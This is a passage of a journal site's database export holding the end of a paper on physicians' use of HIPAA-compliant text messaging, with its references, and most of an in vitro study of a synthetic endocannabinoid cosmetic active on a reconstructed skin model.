use of a HIPAA compliant mobile application. 51.9% of responding physicians stated that text messaging was only allowed at their institution using one of these applications. Two commonly used HIPAA compliant applications are Tiger Text (TT) and My Doc. TT is a group messaging application for smart phones. It has been found that residents who use the application have improved satisfaction with communication and clinical situational awareness. Use of TT has also been linked to decreased communication- related detrimental effects on patient care [9].</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">When used for six weeks in an orthopedic department in Singapore for a trial run, My Doc was found to have excellent speed, quality of texts, and pictures.&nbsp; 92% of those involved in the study agreed or strongly agreed that the app should replace the current system of peer-to-peer communication at the hospital.&nbsp; My Doc users suggest that the application broadens its borders to include regional tele-consultations for specialist referral, clinical outreach in the trauma setting, and supervision in the operating room.&nbsp; It was found that all of these significantly improved the level of care [10]. Studies and applications like these are leading the way in making texting in health care safe, effective, and HIPAA compliant, all with the intention of improving the level of patient care.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Most physicians surveyed claim they did not have poor communication when texting. 81.6% stated they have had no issues. Of those that have experienced poor communication that could affect health care delivery, most communication problems were cleared up by a phone call without harm being caused to the patient. Many others cleared up the miscommunication with additional text messaging. However, 1.9% of responders stated that they had a sent in elevent that resulted in harm to a patient related to poor communication through texting. With improvements to applications and as physicians become more educated with text messaging as a mode of communication, these incidences could become less frequent.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Many of the physicians found that having the text messages stored for reference is a valuable resource to refer back to when needed. All but one of the physicians surveyed owned a smart phone. Of all US mobile users 91% keep their phones within arm&rsquo;s reach at all times [5]. This behavior keeps the patient information and history available at all times if there was ever a need to reference it. Printing a patient list out to keep track of information is arguably less secure as lists of patient names, diagnosis and test results can be left out for others to see, is not secured by password or other security settings, can be easily lost, and requires disposal in a proper receptacle that is not always readily available.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>9. Conclusion</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Texting in health care has the benefit of being an efficient and expeditious way of communicating with other physicians. The majority of physicians surveyed believed that not only is it an effective and helpful tool to day, but it is the way of the future in healthcare communication. Physicians felt that sending clinical pictures or X-rays of patients was very beneficial when trying to communicate and could potentially clear up any discrepancies in language used in the different involved specialties. As the saying goes, &ldquo;a picture is worth a thousand words&rdquo;.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Problems can exist in compliance with HIPAA while sending text messages about patient information. However, texting can be in complete compliance with HIPAA as long specific guidelines are met. Physicians and health care administrators must be aware of the rules and regulations and do what is required to protect patient health information. HIPAA compliant applications such at Tiger Text and My Doc are making compliance easier. As younger generations, who may be more comfortable with the technology involved in mobile applications start to fill more leadership roles in health care the use of secure technology in healthcare communication and texting will likely become the state of the art. Physicians can learn to use texting as an effective tool to help them be more efficient and care for patients in a safe and secure manner. This new mode of communication must be explored with caution in regards to patient security and HIPAA compliance.&nbsp; It is more important than ever for hospital administration to educate themselves on the resources, such as mobile applications, available to assure patient privacy rights.</span></p>\r\n','<ol>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"http://www.pewinternet.org/2011/09/19/americans-and-text-messaging/\">Smith A (2018) Americans and Text Messaging. Pew Research Center: Internet, Science &amp; Tech.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://www.tigerconnect.com/about/faqs/hipaa-compliant-texting-physicians/\">Tiger Text (2011) &ldquo;Physician and Hospital Texting Is on the Rise&rdquo;.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\">Song J (2017) To text or not to text. </span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"http://library.ahima.org/doc?oid=105342#.XBEgPdszbIV\">Greene A (2018) HIPAA Compliance for Clinician Texting. Library. ahima.org.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"http://connectmogul.com/2013/03/texting-statistics/\">Connectmogul (2013) Texting Statistics.</a> </span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\">Sentinel Event Data Root Causes by Event Type 2004-Third Quarter 2011. Commission, TJ, TJ Commission, 2011, The Joint Commission, Washington, DC.</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"http://www.mosio.com/mobileanswers/facts-and-figures-mobile-text-message-usage-in-the-u-s-its-massive/\">NC (ND) (2017) Facts + Figures: Mobile Text Message Usage in the US.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://www.hipaajournal.com/texting-violation-hipaa/\">Is Texting in Violation of HIPAA? (2018) HIPPA Journal.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://journals.lww.com/ccmjournal/Citation/2018/01001/1261___TEXTING_WITH_A_HIPAA_COMPLIANT_SMARTPHONE.1215.aspx\">Ice T, Chopra K, Haley M (2018) 1261: TEXTING with a hipaa-compliant smart phone app improves healthcare team intragroup communication Crit Care Med 46: 614.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://www.ncbi.nlm.nih.gov/pubmed/25100283\">Daruwalla Z, Wong K, Thambiah J (2014) The application of telemedicine in orthopedic surgery in singapore: a pilot study on a secure, mobile tele health application and messaging platform. JMIR Mhealth Uhealth 2: e28.</a></span></span></li>\r\n</ol>\r\n','','<p style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Citation: </strong>Habusta SF and Ward SG (2018) Physician Text Messaging as a Facilitator for Patient Care. Chronic Complement Altern Integra Med: CCAIM-100002</span></span></p>\r\n','','1545657519.pdf',NULL,'1545657519.jpg','',0,1,'2018-12-24 18:48:39',NULL,1),(30,24,'20','2019','A New Synthetic Endocannabinoid as Anti-Inflammaging Cosmetic Active: an In Vitro Study on a Reconstructed Skin Model','Semenzato A1*, Meloni M2, Caviola E2, Galizia G3 and Baratto G4 ','Research Article','A-New-Synthetic-Endocannabinoid-as-Anti-Inflammaging-Cosmetic-Active-an-In-Vitro-Study-on-a-Reconstructed-Skin-Model','A New Synthetic Endocannabinoid-as-Anti-Inflammaging-Cosmetic-Active-an-In-Vitro-Study-on-a-Reconstructed-Skin-Model','A-New-Synthetic-Endocannabinoid-as-Anti-Inflammaging-Cosmetic-Active-an-In-Vitro-Study-on-a-Reconstructed-Skin-Model','A-New-Synthetic-Endocannabinoid-as-Anti-Inflammaging-Cosmetic-Active-an-In-Vitro-Study-on-a-Reconstructed-Skin-Model','<p style=\"text-align:center\"><span style=\"font-size:20px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Current Updates in Dermatological Problems</strong></span></span></p>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-size:18px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>A New Synthetic Endocannabinoid as Anti-Inflammaging Cosmetic Active: an <em>In Vitro </em>Study on a Reconstructed Skin Model</strong></span></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Semenzato A<sup>1*</sup>, Meloni M<sup>2</sup>, Caviola E<sup>2</sup>, Galizia G<sup>3</sup> and Baratto G<sup>4 </sup></strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><sup>1</sup>Department of Pharmaceutical and Pharmacological Sciences, University of Padova, Italy</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><sup>2</sup>Vitroscreen srl, Italy</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><sup>3</sup>UniR&amp;D srl, Italy</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><sup>4</sup>UNIFARCO S.p.A, Italy</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong><sup>*</sup></strong><strong>Corresponding author:</strong> Semenzato A, Department of Pharmaceutical and Pharmacological Sciences, University of Padova, Via Francesco Marzolo 5, 35131 Padova, Italy, Tel: +390498275356; Email: <a href=\"mailto:alessandra.semenzato@unipd.it\">alessandra.semenzato@unipd.it</a></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Citation: </strong>Semenzato A, Meloni M, Caviola E, Galizia G and Baratto G (2018) A New Synthetic Endocannabinoid as Anti-Inflammaging Cosmetic Active: an In Vitro Study on a Reconstructed Skin Model. Curr Updates Dermatol Probl: CUDP-100003.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Received date:</strong> 09 December, 2018; <strong>Accepted Date:</strong> 28 December, 2018; <strong>Published Date:</strong> 07 January, 2019</span></p>\r\n','<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>1. Abstract</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Endocannabinoids have been recently appointed as interesting cosmetic actives in regulating inflammaging, a state of chronic low-grade inflammation, known for being involved in many senescence&rsquo;s manifestations, included skin aging. The aim of this study was to assess the anti-inflammaging activity of a new synthetic endocannabinoid, Isopalmide<sup>&reg;</sup>, on a reconstructed skin model, on which inflammaging has been reproduced through UVA radiation and light mechanical stress. We tested Isopalmide<sup>&reg;</sup> both as a single active and conveyed in a cosmetic product, in comparison with Anandamide, a well-known natural endocannabinoid with anti-inflammatory action. The anti-inflammaging activity of topically applied products has been assessed, after 6 hours of treatment post-irradiation, through the transcriptional modification of genes involved in the NF-&kappa;B pathway and the epigenetic pathway targeting miRs as potential biomarkers of inflammaging:&nbsp; miR-21, miR-126 and miR-146a. The results confirmed the anti-inflammatory action of Anandamide which inhibits NF-&kappa;B, while Isopalmide<sup>&reg;</sup> showed its anti-inflammaging activity through the establishment of an inflammatory/anti-inflammatory balance by maintaining NF-&kappa;B inactive in the cytoplasm and active in the nucleus. The anti-inflammaging activity was shown also by the cosmetic product containing Isopalmide<sup>&reg;</sup>.</span></p>\r\n','<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>2. Keywords:</strong> Endocannabinoids; Inflammaging; miRNAs; Reconstructed Human Epidermis</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>3. Introduction</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Inflammation is widely known for affecting aging processes and for taking part in a lot of diseases which occur during senescence. Although in harmful situations, such as infections, inflammation has a physiological function helping the body to react to the pathogenic agents, when the inflammatory process does not solve or is too excessive, it becomes detrimental for the organism health. In the last two decades, the concept of inflammaging has emerged, originated mostly from the researches of Claudio Franceschi and his co-workers. According to their studies, inflammaging, a chronic low-grade inflammation that manifests itself primarily with aging [1], is caused by both external and internal factors but the main stressors have been identified in the self-debris of cells since, with aging, the organisms find it more difficult to eliminate their metabolism products [2]. Recent studies carried out on centenarians, who are still healthy and without major diseases despite their age, have highlighted significant levels of pro-inflammaging markers together with a high level of anti-inflammatory mediators, suggesting that &ldquo;aging well&rdquo; is not related to the absence of inflammation but to a favorable balance between inflammatory and anti-inflammatory factors [3]. </span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Cutaneous senescence is a complex phenomenon due to multiple intrinsic and extrinsic factors. A pivotal role in senescence is played by epigenetics which refers to the modifications that occur in DNA leading to alterations in genomic expression (phenotype) without changes in genomic sequences (genotype). Epigenetics&rsquo; regulation involves several mechanisms such as DNA methylation, histone modifications and modulatory activity of miRNAs. About the latter, miRNAs are a class of short, endogenous, single-stranded RNAs that regulate gene expression [4]. They are involved in several processes such as immune responses, cell proliferation, cell death, inflammation, initiation and progression of tumors [5]. Many studies underline that during aging there is an increase in the level of miRNAs, which results in the activation of pathways related to inflammation and senescence, such as the NF-&kappa;B one, and addresses them as interesting bio-markers of these processes [6]. </span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">The skin has multiple ways to maintain its balance against inflammation and one of these is represented by the endocannabinoid system. Endocannabinoids are lipid molecules produced by the body in a wide array of situations: in the brain, they are largely known for their involvement in pain control [7]; in the skin, they regulate the differentiation and the production of mediators by various skin cells [8]. Studies in mice have reported the production of endocannabinoids as protective agents when an inflammatory skin disease occurs, supporting their involvement in the regulation of the cutaneous inflammation [9]. Endocannabinoids exert their anti-inflammatory activities mainly through the binding with their receptors, CB1 and CB2. The first ones are localized primarily in the central and peripheral nervous system, while the second ones are found on immune cells. In addition to these receptors, endocannabinoids exert their action also in a receptor-independent way.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">In fact, Anandamide, the first natural endocannabinoid discovered, exerts an anti-inflammatory activity in a receptor-independent manner by acting directly on the NF-&kappa;B pathway [10], which is a nuclear factor with a pivotal role in the regulation of several genes involved in inflammation, in cell proliferation, tumor development, etc. Anandamide was proved to inhibit NF-&kappa;B-dependent transcription by inhibiting IKK activation, which is responsible for the phosphorylation of I&kappa;B&alpha;, the protein that maintains NF-&kappa;B inactive in the cytoplasm. Moreover, the inhibition of NF-&kappa;B was shown also by some anandamide analogues, such as arvanil and olvanil [10]. Based on this evidence, the aim of this study was to assess the anti-inflammaging activity of a new synthetic endocannabinoid, Isopalmide<sup>&reg;</sup>, in comparison to Anandamide, and to verify the anti-inflammaging activity of a cosmetic product containing Isopalmide<sup>&reg;</sup>, using an <em>in vitro</em> reconstructed Full Thickness Skin model. </span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">On Phenion Skin (FT-Skin) an &ldquo;inflammaging stress&rdquo; model has been developed, mimicking a low grade of inflammation induced by UVA exposure associated to a light mechanical stress on the epidermal surface thus recapitulating both barrier function impairment that occurs during the aging process and dermal matrix damages induced by a relevant biological UVA dose. </span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">The anti-inflammaging activity of topically applied products has been assessed through the transcriptional modification of genes involved in the NF-&kappa;B pathway and the epigenetic pathway targeting miRNAs as potential biomarkers of inflammaging: in particular miR-21, miR-126 and miR-146a are defined as inflamm-miRs since they target mRNA related to the NF-&kappa;B pathway [11].</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">The NF-&kappa;B pathway can be exemplified as follow (Figure 1): The transcription factor NF-&kappa;B (nuclear factor kappa-light-chain-enhancer of activated B cells) is a prominent mediator of inflammation which acts as a key transcriptional regulator of many genes coding for pro-inflammatory cytokines. NF-&kappa;B is a protein complex that both induces and represses gene expression by binding to discrete DNA sequences, known as &kappa;B elements, in promoters and enhancers. NF-&kappa;B complexes are retained as inactive forms in the cytoplasm by a family of inhibitory proteins known as inhibitors of NF-&kappa;B (I&kappa;Bs). Activation of NF-&kappa;B typically involves the phosphorylation of I&kappa;B by the I&kappa;B kinase (IKK, CHUCK) complex, which results in I&kappa;B degradation. This releases NF-&kappa;B and allows the free translocation in the nucleus and activation of pro-inflammatory response [12]. </span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">The regulation of UVA-induced inflammation is furtherly actuated by epigenetic modulation via miRNA expression. </span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Some miRNAs, like miR-21 and miR-126, targeting mRNAs belonging to the NF-&kappa;B pathway, are classifiable as senescence-associated (SA-miRs) and inflammation-associated (inflamma-miRs). They target the NF-&kappa;B pathway primarily through a negative feedback loop aimed at retaining the excessive proinflammatory response induced by signaling activation [13].</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">miRNA pathway can be summarized as follow (Figure 2): In particular miR-21 over expression enhances the inflammatory response. Furthermore, miR-21 is able to reduce the expression of potent human anti-inflammatory molecules such as interleukin (IL)- 10 and TGF-&beta;, while miR-126 plays an important role in the modulation of inflammatory activity by down-regulating the expression of I&kappa;B&alpha;, an important inhibitor of the NF-&kappa;B signaling. The regulatory negative loop for inflammatory pathway switches off is mediated by a miR-146 gene whose expression is mediated by NF-&kappa;B itself. By counteracting the pro-inflammatory status associated with cellular senescence, miR-146a can exert anti-inflammatory effects [14].</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>4. Materials and Methods </strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>4.1 Materials</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Phenion<sup>&reg; </sup>Full Thickness Skin Model, produced by Henkel (D&uuml;sseldorf, Germany, diameter 1.3 cm), cultivated at 37 <sup>&deg;</sup>C and 5% CO<sub>2</sub> with ALI Medium. In this model, epidermal keratinocytes and dermal fibroblasts (from healthy donors) form a multilayered skin equivalent that resembles human skin under culture conditions. Fibroblasts are grown in a specialized stable matrix that does not contract under fibroblast traction forces. Keratinocytes are overlaid and within a few days, they develop an epidermis with clearly recognizable layers. Both the epidermis and dermis form a physiologically functional unit: the epidermis produces various markers of differentiation (CK10, filaggrin, transglutaminase, and involucrin). The epidermal-dermal junction presents basal membrane proteins (laminin and collagen IV). In the dermal compartment, de novo synthesis of elastin and fibronectin has been demonstrated. The proliferative cells of the basal layer are identified by Ki-67 staining. This commercial model (Phenion, Henkel) is validated for many applications in cosmetic efficacy and toxicology fields. For this study, the fibroblast and the keratinocytes derive from the same donor (no information about sex and age were supplied by the producer).</span></p>\r\n\r\n<ul>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Isopalmide<sup>&reg;</sup> (Palmitoyl-N-Isopropilamide, UNIFARCO S.p.A.) 0.1% and 0.5% w/w in ultra-pure water.</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Anandamide (Arachidonoylethanolamide, Sigma Aldrich) 0.5% w/w in ultra-pure water.</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Ceramage<sup>&reg;</sup> Fluid Concentrate (undisclosed formula, UNIFARCO S.p.A.) containing 0.5% Isopalmide<sup>&reg;</sup>. </span></li>\r\n</ul>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>4.2 Methods</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>4.2.1 Quantitative Real-Time PCR Analysis</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Quantitative analysis of gene expression by qRT-PCR was performed on total RNA extracted by RNAqueous kit (Ambion) and on miRNA extracted by mirVANA kit (Ambion) following the producer&rsquo;s instructions. After retro transcription using the High Capacity kit (Invitrogen), the produced cDNA has been used for relative quantification PCR by using TaqMan Master Mix and gene assays (Invitrogen) referenced in (Table 1). </span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">For data analysis, the relative quantification value (RQ) was accepted as significant when the gene expression is &ldquo;one-fold&rdquo; up (RQ&gt;2) or down-regulated (RQ&lt;0.5) compared to the calibrator sample (RQ=1). The internal instrument level of confidence used is 95%. </span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>4.2.2 LDH release</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">A commercially available kit (Cytotoxicity Detection Kit-LDH, Roche) was used to quantify the LDH released in culture media by a colorimetric assay based on formazan salt detection (&lambda; 492 nm with reference at 690 nm). The culture media were collected and analyzed following the producer&rsquo;s instructions. An increase in the amount of dead or plasma membrane-damaged cells results in an increase of the LDH enzyme activity in the culture media, which directly correlates with the amount of formazan formed during a defined time period measuring the number of lysed cells.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>4.2.3 Histo-morphological analysis</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">At the end of the treatment, tissues were fixed in 4% formalin in PBS. Samples were included in paraffin blocks and sections of 5 &mu;m were obtained. Slides were stained with Haematoxylin and Eosin following internal procedures and the histological samples were analyzed under bright field microscopy (20x).</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>5. Experimental design</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">The FT-skin models were removed from the semi-solid transport medium and cultivated according to the supplier&rsquo;s instructions using the ALI<sup>&reg;</sup> culture medium. The FT-skin tissues were stressed at the epidermal level by a light mechanical stress in order to induce a keratinocyte mediated inflammatory response. Light mechanical abrasion was performed abrading the surface with Alger brush following internal standardized procedure in order to activate the inflammatory response without damaging stratum corneum. The FT-skin models were then irradiated with 12 J/cm<sub>2</sub> UVA (positive control: UVA) and the formulations/actives were topically applied (50 &micro;L) on the epidermal surface for 6 hours after irradiation. At the end of the exposure the FT skin models were collected and the gene expression was quantified by TaqMan assays for the following genes:</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">&bull;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; miRNA: miR-21, miR-126, miR-146a</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">&bull;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; RNA: IKK-&alpha; (CHUK), IKK-&gamma; (IKBKG), NF-&kappa;B</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Media were collected for toxicity evaluation by LDH release and tissue were fixed in 4% formalin for further histological evaluation.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">In this study, the data of gene expression have been evaluated on the basis of internal validation which confirms a low variability of the model and a good reproducibility of irradiation protocols, as reported by M. Meloni et al Photochem. Photobiol. Sci., 2010, 9, 439-447.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>6. Results and Discussion</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>6.1 Quantitative real-time PCR analysis results</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">The miRNA and RNA gene expression was measured after 6 hours treatment with the test items compared to the positive control (brushed and irradiated sample). Calibrator sample is the negative control, which is fixed at 1 in order to measure the expression of the genes. All the treated samples show an anti-inflammatory efficacy with different effects on miRNA and mRNA expression, as shown in (Figures 3 and 4).</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">The predictivity of the &ldquo;inflammaging stress model&rdquo; induced by UVA, on the FT skin model, has been assessed by gene expression analysis in stressed (positive control) samples. As shown in Figures 3 and 4 the UVA induces an upregulation of miR-21, that leads to a pro-inflammatory response by NF-&kappa;B increase. Moreover, the UVA is able to overexpress miR-126 which leads to an observed increase in NF-&kappa;B gene expression which triggers the inflammatory response.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Anandamide 0.5% induces an upregulation of miR-21 that leads to a pro-inflammatory response by NF-&kappa;B increase. At the same time, Anandamide is able to upregulate IKBKG (IKK-&gamma;) that leads to phosphorylation and degradation of I&kappa;B&alpha; and the consequent increase of NF-&kappa;B expression. The NF-&kappa;B activation (upregulation) increases the miR-146 gene, which upon processing down-regulates the activity of different genes (IRAK1 and TRAF6) to reduce NF-&kappa;B activity, that remains inactive in the cytosol (Table 2). </span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">By reducing miR-21 expression, Isopalmide<sup>&reg;</sup> induces the retention of NF-&kappa;B in the cytoplasm that could lead to an anti-inflammatory response. On the other hand, through the blocking of miR-126Isopalmide<sup>&reg;</sup> stimulates the IKK complex (IKBKG overexpression). At the considered time-point (6h treatment) Isopalmide<sup>&reg;</sup> is able to establish an inflammatory/anti-inflammatory balance by the blocking of miR-21 and miR-126, indicating that it could have a precocious activity on the pathway (Figure 6): The Ceramage<sup>&reg;</sup> Fluid Concentrate, which contains 0.5% of Isopalmide<sup>&reg;</sup>, has an anti-inflammaging action mediated by I&kappa;B&alpha; inhibitory control of NF-&kappa;B.</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">The blocking of miR-21 induces the levels of NF-&kappa;B in the cytoplasm (inactive form), resulting in an anti-inflammatory response. The missing of the IKK complex activation (IKBKG and CHUK not significant expression) prevents the phosphorylation of I&kappa;B&alpha;: the consequence is an increase of NF-&kappa;B in the cytosol as an inactive form, resulting in an anti-inflammatory activity of Ceramage<sup>&reg;</sup> Fluid. The behavior of Ceramage<sup>&reg;</sup> Fluid Concentrate can be represented as follow (Figure 7).</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>6.2 LDH release and histological analysis</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">The results of the LDH release, after 6 hours of treatment post-irradiation, are shown in (Figure 8).</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">Lactate dehydrogenase release in the culture medium was measured to quantify the membrane integrity. This enzyme is normally present in the cytosol and cannot be measured extracellularly unless cell damage has occurred. So, the release of LDH reflects the membrane damage and correlates to a toxic effect. Considering the value quantified in the control as the basal LDH release, an increased (3.04 fold increase) was observed in UVA-irradiated tissues suggesting the induction of the inflammaging model. After 6 hours of treatment the products compared to UVA-irradiated tissues induces the following results: Anandamide induces a decrease of LDH release (49% reduction of LDH release), reflecting its anti-inflammatory action; Isopalmide<sup>&reg;</sup> at 0,1% does not show a difference in LDH release compared UVA tissues (6% decrease); Isopalmide<sup>&reg;</sup> at 0.5% shows a lower LDH release compared to UVA tissues (28% of reduction); Ceramage<sup>&reg;</sup> Fluid Concentrate, which contains Isopalmide<sup>&reg;</sup> at 0.5%, induces a decrease of LDH release (57% reduction) reflecting its anti-inflammatory action on the whole tissue (dermis/epidermis).</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">These results were also confirmed by the histology of the tissues treated with tested items for 6 hours post-irradiation, as shown in (Figure 9).</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">The morphology of the positive UVA-irradiated control appears severely modified on the dermal compartment (papillary upper dermis) indicating that the target of the inflammaging regulates skin architecture. At the epidermal level, the overall morphology appears not significantly modified.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">In the sample treated with Anandamide 0.5%, the extracellular matrix of the papillary dermis appears restored and there are no signs of damage at the tissue level, confirming its marked anti-inflammatory activity. The tissue treated with Ceramage<sup>&reg;</sup> Fluid concentrate that contains Isopalmide<sup>&reg;</sup> 0.5% appears even more restored, suggesting both an increase of the bioavailability of Isopalmide<sup>&reg;</sup> by the vehicle and an additional role of other components of the cosmetic product. </span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>7. Conclusions</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">The aim of the study was to assess the activity of a new synthetic endocannabinoid, Isopalmide<sup>&reg;</sup>, in comparison to a natural well-known endocannabinoid, anandamide. We tested the activity of both compounds on an <em>in vitro</em> skin model, previously validated for the expression of inflammation after irradiation with UVA and we evaluated the activity of anandamide and Isopalmide<sup>&reg;</sup> on the NF-&kappa;B pathway, considering that in literature the effects of anandamide on this pathway have already been assessed [10]. Given these assumptions, we observed that anandamide and Isopalmide<sup>&reg;</sup> act on the NF-&kappa;B pathway in a different way: the first inhibits NF-&kappa;B activation through a negative regulatory feedback promoted by miR-146a, while the second establish an inflammaging/anti-inflammaging balance by the blocking of miRNA-21 and miRNA-126 upregulation. Moreover, we tested on the same model a cosmetic product containing Isopalmide<sup>&reg;</sup> at 0.5% and we observed an anti-inflammaging activity by preventing the activation of NF-&kappa;B through IKB-&alpha; inhibitory control and by reducing of the inflammatory miRNAs.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>8. Patents</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Isopalmide<sup>&reg;</sup> is a patented molecule (EP1900365). Isopalmide<sup>&reg;</sup> and 